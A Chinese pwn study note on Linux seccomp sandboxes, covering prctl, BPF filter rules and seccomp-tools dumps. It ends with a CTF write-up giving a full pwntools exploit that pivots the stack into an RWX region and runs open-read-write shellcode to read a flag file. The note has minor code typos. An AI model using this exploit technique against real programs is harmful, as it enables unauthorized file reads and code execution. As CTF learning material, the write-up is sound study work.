pwn学习笔记（8）--初识Pwn沙箱

初识Pwn沙箱

​ 沙箱机制，英文sandbox，是计算机领域的虚拟技术，常见于安全方向。一般说来，我们会将不受信任的软件放在沙箱中运行，一旦该软件有恶意行为，则禁止该程序的进一步运行，不会对真实系统造成任何危害。

​ 安全计算模式seccomp（Secure Computing Mode）在Linux2.6.10之后引入到kernel的特性，可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用，增加系统的安全性。

​ 在ctf中主要通过两种方式实现沙箱机制：

• prctl系统调用；
• seccomp库函数；

1、prctl函数初探

​ prctl是基本的进程管理函数，最原始的沙箱规则就是通过prctl函数来实现的，它可以决定有哪些系统调用函数可以被调用，哪些系统调用函数不能被调用。

​ 下面是/linux/prctl.h和seccomp相关的源码：

/* Get/set process seccomp mode */
    #define PR_GET_SECCOMP      21
    #define PR_GET_SECCOMP     22

/*
 * If no_new_privs is set, then operations that grant new privileges (i.e.
 * execve) will either fail or not grant them.  This affects suid/sgid,
 * file capabilities, and LSMs.
 *
 * Operations that merely manipulate or drop existing privileges (setresuid,
 * capset, etc.) will still work.  Drop those privileges if you want them gone.
 *
 * Changing LSM security domain is considered a new privilege.  So, for example,
 * asking selinux for a specific new context (e.g. with runcon) will result
 * in execve returning -EPERM.
 *
 * See Documentation/userspace-api/no_new_privs.rst for more details.
 */
#define PR_SET_NO_NEW_PRIVS    38
#define PR_GET_NO_NEW_PRIVS    39

​ prctl函数原型：int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4，unsigned long argv3)

在具体了解prctl函数之前，我们再了解这样一个概念：沙箱。沙箱(Sandbox)是程序运行过程中的一种隔离机制，其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制，seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的，seccomp规则的设置，可以使用prctl函数和seccomp函数族。

​ include/linux/prctl.h里面存储着prctl的所有参数的宏定义，prctl的五个参数中，其中第一个参数是你要做的事情，后面的参数都是对第一个参数的限定。

​ 在第一个参数中，我们需要重点关注的参数有这两个：

1. PR_SET_SECCOMP(22)：当第一个参数是PR_SET_SECCOMP,第二个参数argv2为1的时候，表示允许的系统调用有read，write，exit和sigereturn；当argv等于2的时候，表示允许的系统调用由argv3指向sock_fprog结构体定义，该结构体成员指向的sock_filter可以定义过滤任意系统调用和系统调用参数。(细节见下图)
2. PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系统调用execve()函数，同时，这个选项可以通过fork()函数和clone()函数继承给子进程。

struct sock_fprog {
    unsigned short        len;    /* 指令个数 */
    struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}

struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code,bpf指令码 */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
    int nr;//系统调用号
    __u32 arch;//调用架构
    __u64 instruction_pointer;//CPU指令指针
    __u64 argv[6];//寄存器的值，x86下是ebx，exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}

2、prctl()函数详解

​ prctl是一个系统调用，用于控制和修改进程的行为和属性。它可以在Linux系统上使用，提供了各种功能和选项来管理进程的不同方面。

​ 以下是prctl函数的基本原型：

#include 

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

​ prctl函数接受不同的option选项和参数，用于执行不同的操作。下面是一些常用的option选项及其功能：

• PR_SET_NAME：设置进程名称。
• PR_GET_NAME：获取进程名称。
• PR_SET_PDEATHSIG：设置在父进程终止时发送给当前进程的信号。
• PR_GET_PDEATHSIG：获取父进程终止时发送给当前进程的信号。
• PR_SET_DUMPABLE：设置进程的可转储标志，影响核心转储。
• PR_GET_DUMPABLE：获取进程的可转储标志。
• PR_SET_SECCOMP：设置进程的安全计算模式。
• PR_GET_SECCOMP：获取进程的安全计算模式。

​ 这些仅是一些常用的选项，prctl还支持其他选项和功能。每个选项都有特定的参数，可以根据需要传递。具体的参数和行为取决于所选的选项。

​ 以下是一个简单的示例，展示了如何使用prctl函数设置进程名称：

#define _GNU_SOURCE
#include 
#include 

int main() {
    const char* process_name = "MyProcess";

    if (prctl(PR_SET_NAME, (unsigned long) process_name) == -1) {
        perror("prctl");
        return 1;
    }

    // 获取进程名称
    char name[16];
    if (prctl(PR_GET_NAME, (unsigned long) name) == -1) {
        perror("prctl");
        return 1;
    }

    printf("Process name: %s\n", name);

    return 0;
}

​ 在上述示例中，我们使用prctl函数将当前进程的名称设置为"MyProcess"。然后，我们再次使用prctl函数获取进程的名称，并将其打印到标准输出。

​ 请注意，prctl函数的具体行为和可用选项可能因操作系统和版本而异。在使用prctl函数时，应该查阅相关文档并了解所使用的操作系统的支持和限制。

3、BPF过滤规则(伯克利封装包过滤)

​ 突破沙箱规则，本质上就是一种越权漏洞。seccomp是linux保护进程安全的一种保护机制，它通过对系统调用函数的限制，来保护内核态的安全。所谓沙箱，就是把用户态和内核态相互分离开，让用户态的进程，不要影响到内核态，从而保证系统安全。

​ 如果我们在沙箱中，完全遵守seccomp机制，我们便只能调用exit(),sigreturn(),read()和write()这四种系统调用，那么其实我们的进程应该是安全的（其实也不一定，后面的例题就没有溢出，而是通过系统调用直接读取文件）。但是，由于他的规则过于死板，所以后面出现了过滤模式，让我们可以调用到那些系统调用。回顾上面提到的PT_SET_SECCOMP这个参数，后面接到的第一个参数，就是它设置的模式，第三个参数，指向sock_fprog结构体，sock_fprog结构体中，又有指向sock_filter结构体的指针，sock_filter结构体这里，就是我们要设置规则的地方。

我们在设置过滤规则，在面对沙箱题目的时候，会经常用到Seccomp-tools这个工具。

BPF指令集简介

BPF_LD：加载操作，BPF_H表示按照字节传送，BPF_W表示按照双字来传送，BPF_B表示传送单个字节。

BPF_LDX：从内存中加载byte/half-word/word/double-word。

BPF_ST,BPF_STX：存储操作

BPF_ALU,BPT_ALU64：逻辑操作运算。

BPT_JMP：跳转操作，可以和JGE，JGT，JEQ，JSET一起表示有条件的跳转，和BPF_JA一起表示没有条件的跳转。

#include
#include
#include
#include
#include
#include
#include    
#include             //off和imm都是有符号类型，编码信息定义在内核头文件linux/bpf.h
#include

int main()
{
        struct sock_filter filter[]={
                BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),   // 从第0个字节开始，传送4个字节
                BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比较是否为59（execve 的系统调用号），是就跳过下一行，如果不是，就执行下一行，第三个参数表示执行正确的指令跳转，第四个参数表示执行错误的指令跳转
                BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
        //      BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        //        杀死一个进程
        //        BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),
        //        父进程追踪子进程，具体没太搞清楚
                 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),
        //        异常处理
                BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        //        这里表示系统调用如果正常，允许系统调用
        };
        struct sock_fprog prog={
                .len=sizeof(filter)/sizeof(sock_filter[0]),
                .filter=filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数是进行什么设置，第二个参数是设置的过滤模式，第三个参数是设置的过滤规则
        puts("123");
        return 0;
}

​ 开始的时候，我们设置了sock_filter结构体数组。这里为什么是一个结构体数组呢？因为我们看到里面有BPF_STMT和BPF_JMP的宏定义，其实BPF_STMT和BPF_JMP都是条件编译后赋值的sock_filter结构体。

#ifndef     BPF_STMT
#define    BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef     BPF_JUMP
#define    BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif

​ 上面的例子中禁用了execve的系统调用号，64位系统中execve的系统调用号是59.

​ BPF_JUMP后的第二个参数是我们要设置的需要禁用的系统调用号。

​ 我们在这里禁用的两个系统调用分别是sys_restart_syscall和execve，如果出现这两个系统调用，那么我们就会跳转到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的异常处理。其实，如果我们要直接杀死这个进程的话，BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)这个规则可以直接杀死进程。

​ GitHub上的一个真实例子：

例子

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

static int install_filter(int nr, int arch, int error) {
  struct sock_filter filter[] = {
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0, 3),
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0, 1),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    perror("prctl(NO_NEW_PRIVS)");
    return 1;
  }
  if (prctl(PR_SET_SECCOMP, 2, &prog)) {
    perror("prctl(PR_SET_SECCOMP)");
    return 1;
  }
  return 0;
}

int main() {
  printf("hey there!\n");

  install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);

  printf("something's gonna happen!!\n");
  printf("it will not definitely print this here\n");
  return 0;
}

​ 用 seccomp-tools来dump下看看：

g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0005
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0005
 0004: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

​ 禁用掉之后，我们通过seccomp来dump一下。我们看到，最前面的就是sock_filter结构体的四个参数，后面的，就是bpf规则的汇编表示。

4、orw：

[极客大挑战 2019]Not Bad：

​ 先检查下保护：

g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

​ 没有开保护，且存在RWX段，IDA看看：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0LL;
}

​ 函数名等等有问题，试着恢复下：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  seccomp();
  init_0();
  vuln();
  return 0LL;
}

​ 简单恢复了下之后是这样，先看看seccomp函数，里面很明显存在沙盒（可能是种不专业的说法）：

__int64 seccomp()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  return seccomp_load(v1);
}

​ 好，那么直接用seccomp-tools工具dump一下：

g01den@MSI:~/Temp$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

​ 最后发现可以利用的系统调用有orw三个，那么看看vuln函数：

int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

​ 这里存在栈溢出，感觉可以打shellcode，但是，明显发现栈的长度不够ret2shellcode，推测一手栈迁移，试试看。

​ 经过动调之后，发现在执行到函数mmap之后，存在一个可写可执行权限的内存段（扔一个小知识点：这里mmap参数类型是（起始地址，大小，保护类，文件描述符]等））：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x123000           0x124000 -wxp     1000      0 [anon_00123]

​ 可以将栈迁移到这儿去，再执行shellcode或者syscall读文件，不过，这个要之后再说了。大概思路说下吧，先通过shellcode调用read函数将读文件写入内存然后输出这样的一个顺序，先贴一下exp：

from pwn import *
#from LibcSearcher import *

# context.terminal = ["tmux", "splitw", "-h"]
Locale = 0
if Locale == 1:
    io = process('./pwn')
else:
    io = remote("node5.buuoj.cn",26888)

#elf = ELF("./pwn")
context(arch='amd64', os='linux', log_level='debug')


def exp():
    # gdb.attach(io)
    mnap = 0x123000
    jmp_rsp = 0x0400a01
    io.recvuntil("Easy shellcode, have fun!\n")
    shellcode = asm(shellcraft.read(0,mnap,0x100))
    shellcode += asm('mov rax,0x123000;call rax')
    payload = shellcode.ljust(0x28,b'a')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")		#这里的减0x30我没怎么看懂，记录在这儿
    io.send(payload)
    payload2 = asm(shellcraft.open('./flag')+shellcraft.read(3,mnap+0x100,0x100)+shellcraft.write(1,mnap+0x100,0x100))
    io.send(payload2)


exp()

io.interactive()

​

参考文章：

从prctl函数开始学习沙箱规则

BPF详解

函数 prctl 系统调用